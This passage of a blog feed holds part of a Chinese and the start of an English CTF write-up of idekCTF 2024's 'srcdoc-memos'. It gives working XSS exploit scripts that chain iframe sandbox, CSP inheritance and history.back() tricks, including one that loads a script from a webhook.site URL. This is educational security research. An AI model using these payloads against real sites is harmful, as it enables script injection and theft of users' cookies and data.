interpolation-punctuation punctuation">&#125;</span></span><span class="token string">">&lt;/iframe></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>第一步，我們先載入一個 sandbox iframe，src 會是我們的 XSS payload：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> challengeHost <span class="token operator">=</span> <span class="token string">'http://localhost:1337'</span><span class="token keyword">const</span> xssPayload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>alert(1)&lt;\/script></span><span class="token template-punctuation string">`</span></span><span class="token keyword">const</span> payload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;iframe sandbox="allow-same-origin" src="/memo?memo=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>xssPayload<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"></span><span class="token template-punctuation string">`</span></span><span class="token keyword">const</span> win <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> payload<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>此時這個 win 的內容就會是：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none';<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span>    &lt;iframe      sandbox="allow-same-origin"      src="/memo?memo=&lt;script>alert(1)&lt;/script>">    &lt;/iframe>  <span class="token punctuation">'</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果更放大一點來看那個 sandbox iframe 的話，這個 iframe 裡面的內容是：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- 空的 head，沒有 CSP --></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&lt;script>alert(1)&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>由於 sandbox 的緣故，因此 script 不會執行，所以不會有 CSP。但也因為 sandbox，所以 srcdoc 裡的 script 也同樣不會執行。</p><p>接著我們把網頁跳到其他頁面，然後開啟 <code>/memo?memo=&lt;iframe&gt;&lt;/iframe&gt;</code>，這時候 cookie 中的內容會被取代掉。</p><p>再利用 <code>history.back()</code> 回去，此時如同前面所講的，網頁會重新載入，因此網頁的 HTML 變成：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none';<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span>        &lt;iframe>&lt;/iframe>    <span class="token punctuation">'</span></span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>雖然看起來是空的，但因為之前講過的 reparenting 行為，因此那個空的 iframe 的內容，會是上次的 <code>/memo?memo=&lt;script&gt;alert(1)&lt;/script&gt;</code>。</p><p>接著，又因為之前講過的：「sandbox 屬性永遠跟著現在的頁面」的特性，現在這個 iframe 的 sandbox 沒了。既然 sandbox 沒了，那內容就變成：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">http-equiv</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Content-Security-Policy<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>script-src 'none';<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">srcdoc</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&lt;script>alert(1)&lt;/script><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>原本 CSP 是空的，但因為 sandbox 不見了，所以現在又回來了。</p><p>但是呢，最後也是最重要的一點，前面提過的：「srcdoc 的 CSP 會繼承上次的結果」，因此這個 srcdoc 的 CSP 與當前頁面無關，而是繼承上次的，而上次的 CSP 是什麼？是空的，因此 script 就可以執行了，順利達成 XSS。</p><p>把題目的 opener 檢查拿掉之後，exploit 會簡單很多，比較好理解：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> challengeHost <span class="token operator">=</span> <span class="token string">'http://localhost:1337'</span>  <span class="token keyword">const</span> xssPayload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>alert(document.domain)&lt;\/script></span><span class="token template-punctuation string">`</span></span>  <span class="token keyword">const</span> payload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;iframe sandbox="allow-same-origin" src="/memo?memo=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>xssPayload<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"></span><span class="token template-punctuation string">`</span></span>  <span class="token keyword">const</span> win <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> payload<span class="token punctuation">)</span>  <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> win2 <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=&lt;iframe>&lt;/iframe></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      win2<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">        &lt;script>          setTimeout(() => &#123;           history.back();          &#125;, 500);        &lt;\/script>      </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"text/html"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以上就是這題的解法，主要是靠著回到上一頁時，載入 sandbox 與 CSP 兩者的來源不同，藉此創造出差異，達成 XSS。</p><h2><span id="總結">總結</span></h2><p>根據作者的說法，這一題的靈感來源是這個 issue：<a href="https://github.com/whatwg/html/issues/6809">srcdoc and sandbox interaction with session history #6809</a>，而寫這篇的時候我也是看了這個 issue 好幾遍，自己做實驗很多次，才終於搞懂箇中奧妙，重點是看完之後要自己動手試試看，多試幾次大概就會知道是怎麼一回事了。</p><p>話說這個 issue 的作者 Jake Archibald，就是 <a href="https://www.youtube.com/playlist?list=PLNYkxOF6rcIAKIQFsNbV0JDws_G_bnNo9">HTTP 203</a> 的主持人，這個節目對前端工程師來說應該不陌生，會講到很多與 Web 相關的議題，而有篇前端工程師的必讀經典之一：<a href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/">Tasks, microtasks, queues and schedules</a> 也是他寫的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在 idekCTF 2024 中，由 icesfont 所出的一道題目 srcdoc-memos 十分有趣，牽涉到了許多 iframe 的相關知識。我沒有實際參加比賽，但賽後看了題目以及解法，還是花了好幾天才終於看懂為什麼，十分值得把過程以及解法記錄下來。&lt;/p&gt;
&lt;p&gt;由於這題牽涉到不少與 iframe 相關的知識，我會盡量一步一步來，會比較好理解。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>idekCTF 2024 Writeup - Advanced iframe Magic</title>
    <link href="https://blog.huli.tw/2024/09/07/en/idek-ctf-2024-iframe/"/>
    <id>https://blog.huli.tw/2024/09/07/en/idek-ctf-2024-iframe/</id>
    <published>2024-09-07T02:40:00.000Z</published>
    <updated>2025-10-09T21:59:36.478Z</updated>
    
    <content type="html"><![CDATA[<p>In idekCTF 2024, there was an interesting problem called srcdoc-memos from @icesfont, which involved a lot of knowledge related to iframes. I did not actually participate in the competition, but after the event, I looked at the problem and the solution, and it took me several days to finally understand why. It is definitely worth documenting the process and the solution.</p><p>Since this problem involves a lot of knowledge related to iframes, I will try to explain it step by step for better understanding.</p><span id="more"></span><h2><span id="srcdoc-memos">srcdoc-memos</span></h2><p>Problem link: <a href="https://github.com/idekctf/idekctf-2024/tree/main/web/srcdoc-memos">https://github.com/idekctf/idekctf-2024/tree/main/web/srcdoc-memos</a></p><p>The code for this problem is as follows, with the goal of achieving XSS to steal a pre-set flag:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token function-variable function">escape</span> <span class="token operator">=</span> <span class="token parameter">html</span> <span class="token operator">=></span> html  <span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">'"'</span><span class="token punctuation">,</span> <span class="token string">"&amp;quot;"</span><span class="token punctuation">)</span>  <span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">"&lt;"</span><span class="token punctuation">,</span> <span class="token string">"&amp;lt;"</span><span class="token punctuation">)</span>  <span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">">"</span><span class="token punctuation">,</span> <span class="token string">"&amp;gt;"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token function-variable function">handler</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> url <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">URL</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>url<span class="token punctuation">,</span> <span class="token string">"http://localhost"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> memo<span class="token punctuation">;</span>  <span class="token keyword">switch</span> <span class="token punctuation">(</span>url<span class="token punctuation">.</span>pathname<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">case</span> <span class="token string">"/"</span><span class="token operator">:</span>    memo <span class="token operator">=</span>      cookie<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>headers<span class="token punctuation">.</span>cookie <span class="token operator">||</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span>memo <span class="token operator">??</span>      <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;h2>Welcome to srcdoc memos!&lt;/h2>\n&lt;p>HTML is supported&lt;/p></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"text/html; charset=utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>document.head.insertAdjacentHTML(  "beforeend",  \`&lt;meta http-equiv="Content-Security-Policy" content="script-src 'none';">\`);if (window.opener !== null) &#123;  console.error("has opener");  document.documentElement.remove();&#125;&lt;/script>&lt;h1>srcdoc memos&lt;/h1>&lt;div class="horizontal">  &lt;iframe srcdoc="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escape</span><span class="token punctuation">(</span>memo<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">">&lt;/iframe>  &lt;textarea name="memo" placeholder="&lt;b>TODO&lt;/b>: ..." form="update"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escape</span><span class="token punctuation">(</span>memo<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">&lt;/textarea>&lt;/div>&lt;form id="update" action="/memo">  &lt;input type="submit" value="update memo">&lt;/form>    </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">break</span><span class="token punctuation">;</span>  <span class="token keyword">case</span> <span class="token string">"/memo"</span><span class="token operator">:</span>    memo <span class="token operator">=</span> url<span class="token punctuation">.</span>searchParams<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"memo"</span><span class="token punctuation">)</span> <span class="token operator">??</span> <span class="token string">""</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span>statusCode <span class="token operator">=</span> <span class="token number">302</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Set-Cookie"</span><span class="token punctuation">,</span> cookie<span class="token punctuation">.</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token string">"memo"</span><span class="token punctuation">,</span> memo<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Location"</span><span class="token punctuation">,</span> <span class="token string">"/"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">break</span><span class="token punctuation">;</span>  <span class="token keyword">default</span><span class="token operator">:</span>    res<span class="token punctuation">.</span>statusCode <span class="token operator">=</span> <span class="token number">404</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"text/plain; charset=utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"not found"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The functionality of the problem itself is quite simple. There is an API <code>/memo?memo=xxx</code> that can set cookies, and when accessing the index page, the content will be placed in <code>srcdoc</code>. But the most important part is that there is a script on the same page:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">document<span class="token punctuation">.</span>head<span class="token punctuation">.</span><span class="token function">insertAdjacentHTML</span><span class="token punctuation">(</span>  <span class="token string">"beforeend"</span><span class="token punctuation">,</span>  \`<span class="token operator">&lt;</span>meta http<span class="token operator">-</span>equiv<span class="token operator">=</span><span class="token string">"Content-Security-Policy"</span> content<span class="token operator">=</span><span class="token string">"script-src 'none';"</span><span class="token operator">></span>\`<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>window<span class="token punctuation">.</span>opener <span class="token operator">!==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"has opener"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It mainly does two things:</p><ol><li>Adds <code>script-src &#39;none&#39;</code> CSP</li><li>If there is an opener, it removes the content</li></ol><h2><span id="difficulties">Difficulties</span></h2><p>Let’s not worry about the opener for now; that one is easier to solve. The difficult part is the CSP.</p><p>After reading the problem, my thought process was as follows: since the CSP of <code>&lt;iframe srcdoc&gt;</code> inherits from its parent, if the upper layer has it, the lower layer must have it too. Therefore, we need to find a way to remove that CSP. Since we want to remove it, the only way I could think of is to add CSP through the <code>&lt;iframe csp&gt;</code> attribute, which can prevent that script from loading.</p><p>However, since the content of this problem is brought in through cookies, there will be same-site cookie restrictions. We cannot insert an iframe in our origin; the cookies will have issues. Therefore, we must use <code>&lt;iframe csp&gt;</code> at the problem’s origin. Other than this, I can’t think of any way to remove the CSP.</p><h2><span id="solution">Solution</span></h2><p>The reason I said the opener is easier to solve is that I have seen similar problems before.</p><p>There are a few methods to make the opener null. The first one is similar to what appeared in <a href="https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/#obligatory-calc">SekaiCTF 2022 - Obligatory Calc</a>. After executing <code>window.open</code>, quickly close itself, and <code>opener</code> will be null. The author of this problem, icesfont, used this method (if you test it in the console, you will find that nothing happens after execution because browsers by default cannot open a new window without user interaction, so the second open will be blocked):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> name</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">open</span><span class="token punctuation">(</span><span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    &lt;script>      open("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>url<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">", "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>name<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">");      window.close();    &lt;\/script>  </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"text/html"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The second method I saw proposed by Jazzy in Discord is actually just to set the opener to null after opening:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> name</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> w <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> name<span class="token punctuation">)</span>  w<span class="token punctuation">.</span>opener <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>The reason this works is that right after opening, there is a short period when the opened window and the current window are same-origin, so during this time, it can be manipulated, and then it will be redirected to the desired URL.</p><p>Although the opener is lost, it seems to be disconnected from the opened window, but actually, it can be accessed again using the <code>name</code> attribute. I have written about this before: <a href="https://blog.huli.tw/2022/04/07/en/iframe-and-window-open/#windowopen">iframe and window.open magic</a>.</p><p>After solving the opener issue, we can look at the other most troublesome part, which is that script. If we can prevent it from executing, it would be easy to achieve XSS. But how can we prevent it from executing? I have previously <a href="https://blog.huli.tw/2022/04/07/en/iframe-and-window-open/#iframes-csp">written</a> that there is an attribute called <code>csp</code> on iframes, and by adding it, we can set the CSP.</p><p>As mentioned earlier, due to same-site cookies, we need to directly use the problem’s memo function to embed it. The code is as follows(modified from the exploit posted by Jazzy in Discord channel):</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> challengeHost <span class="token operator">=</span> <span class="token string">'http://localhost:1337'</span>  <span class="token keyword">function</span> <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> name</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> w <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> name<span class="token punctuation">)</span>    w<span class="token punctuation">.</span>opener <span class="token operator">=</span> <span class="token keyword">null</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> html <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    html    &lt;script src="http://webhook.site/0fdd5e6d-0882-44de-b593-212aecf604c1">&lt;\/script>    &lt;iframe csp="script-src http: https:" src="/">&lt;/iframe>  </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>  <span class="token function">openNoOpener</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>challengeHost<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/memo?memo=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>html<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token string">'main'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Using CSP to prevent inline scripts from executing, and then reloading the webpage, will execute the originally prepared script. However, I actually tried it, and the latest version will have an error:</p><blockquote><p>Refused to display ‘<a href="http://localhost:1337/">http://localhost:1337/</a>‘ in a frame. The embedder requires it to enforce the following Content Security Policy: ‘script-src http: https:’. However, the frame neither accepts that policy using the Allow-CSP-From header nor delivers a Content Security Policy which is at least as strong as that one.</p></blockquote><p>If the page originally does not have a CSP, it cannot be forcibly added. From post-match discussions, it seems that older versions of Chrome have less strict restrictions on same-origin CSP, so it can only work in older versions (though I’m not sure, and I’m too lazy to find an old version to test).</p><p>Next, let’s talk about the expected solution, which involves a lot of knowledge related to iframes. I spent about a week gradually understanding why the expected solution can work. To make it easier to understand, I broke it down into several small parts, and following along should help you understand the final expected solution.</p><h3><span id="1-navigation-of-iframes">1. Navigation of iframes</span></h3><p>Since an iframe is an independent window, it can also perform navigation to other places. Suppose there is an iframe on the webpage, and its original src is A. If you change the src to B, what happens when you press the back button (or execute <code>history.back()</code>)? There are two possibilities:</p><ol><li>The entire webpage (top level) goes back to the previous page.</li><li>The iframe goes back to the previous page (from B to A).</li></ol><p>The answer is 2, meaning that when you perform navigation, the iframe’s history will also be added to the overall history.</p><p>Knowing this premise, we can look at a situation:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">sandbox</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span>f</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token 